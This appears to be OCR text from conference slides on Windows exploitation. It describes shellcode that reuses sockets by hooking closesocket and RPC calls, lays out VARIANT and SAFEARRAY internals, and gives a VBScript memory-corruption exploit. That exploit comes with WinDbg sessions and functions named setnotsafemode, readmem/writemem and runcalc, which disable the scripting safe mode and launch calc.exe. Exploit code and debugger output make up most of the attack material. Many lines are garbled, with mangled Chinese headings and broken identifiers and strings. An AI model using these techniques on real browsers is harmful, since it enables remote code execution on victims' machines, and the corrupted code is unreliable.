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client <--> proxy <--> firewall <--
>server
e ecb
ecb->ReadClient
ecb->WriteClient
« BE¥socket
getpeernameﬁjijzsocket
Z R ILElEH socket
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1. shellcode hook closesocket

2. exploit&iXis %éﬁljia,server?&[ﬂ
socket , shellcode}=&
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1. shellcode hook fRSHIrpcnumA
2. exploit JAF NdrSendReceive
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PEB->RtIEnterCriticalSection
PEB->RtlLeaveCriticalSection
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struct __tagVARIANT
{
VARTYPE vt;
WORD wReservedl;
WORD wReserved?;
WORD wReserved3;
union
{
LONGLONG lIVal;
LONG IVal;
BYTE bVal;
SHORT iVal;

SAFEARRAY *parray;

typedef unsigned short VARTYPE;
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enum VARENUM {
VT_EMPTY =0,
VT_NULL = 1,
VT 12 = 2,
VT 14 = 3,
VT_R4 =4,
VT_R8 =5,
VT_BSTR =8,
VT_VARIANT =12,

VT_VECTOR = 0x1000,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000,



tagSAFEARRAY @229,

typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG clLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 J;
} SAFEARRAY;

const USHORT FADF_HAVEVARTYPE= 0x0080; /* array has a VT type */
const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */

typedef struct tagSAFEARRAYBOUND

{
ULONG cElements;

LONG ILbound:;
} SAFEARRAYBOUND;
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<SCRIPT LANGUAGE="VBScript">

myarray=
chr%//v(Oly&ch rw(2176)&chrw(01)&chrw(00)&chrw(00)
&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(3276

7)&chrw(00)&chrw(0)
document.write(vartype(myarray))

document.write(vartype(myarray(8h7ffe0030)))

</script>
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« 0:008:x86> bp vbscript!vbsvartype

« Breakpoint O hit

« VBSCRIPT!VbsVarType:

o 0ffb31f8 8bff mov ediedi

e 0:008:x86> d poi(esp+c) 110

« 00e8fa98 0c 40 4f Ob 00 00 c0 42-78 5a 4f Ob 10 00 00 00
« 0:008:x86> d poi(poi(esp+c)+8) | 10

« 0Ob4f5a78 08 00 00 00 00 00 00 00-04 fb f9 05 00 00 00 00
e 0:008:x86> d 5f9fb04 | 18

« 05f9fb04 01 00 80 08 01 00 00 00-00 00 00 00 00 00 00 00
« 05f9fb14 00 00 ff 7f 00 00 00 00
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«  0:008:x86> e b4f5a78 Oc 20 (EMFIFRTENEE

« 0:008:x86> g

« Breakpoint O hit

« VBSCRIPT!VbsVarType:

« 0Offb31f8 8bff mov  ediedi

e 0:008:x86> d poi(esp+c) |10

e 00e8fa98 0c 40 50 Ob dc 44 5e 06-30 00 fe 7f cc 46 5e 06

« 0:008:x86> d 7ffe0030 | 20

« 7ffe0030 43 00 3a 00 5¢c 00 57 00-69 00 6e 00 64 00 6f 00 C..\.W.i.n.d.o.
« 7ffe0040 77 00 73 00 00 00 00 00-00 00 00 00 00 00 00 00 wes.............



) 360

TSR (&

gj M Z 2o

» 3204 =0x200c
« 67 =0x0043



@3s0_
= HEMEZEPD

=

« RIS

sub testaal()
end sub

function mydata()
On Error Resume Next
I=testaa
i=null
ab(0)=0
aa(al)=i
ab(0)=3
mydata=aa(al)
end function
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function setnotsafemode()

On Error Resume Next
I=mydata()
iI=readmem(i+8)
iI=readmem(i+16)
j=readmem(i+&h134)
for k=0 to &h60 step 4

j=readmem(i+8&h120+k)
if(j=14) then
writemem(i+&h120+k)
Exit for
end if
next
end function
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function runcalc()
On Error Resume Next
set sh=createobject("Shell.Application™)
sh.ShellExecute "calc.exe"

end function
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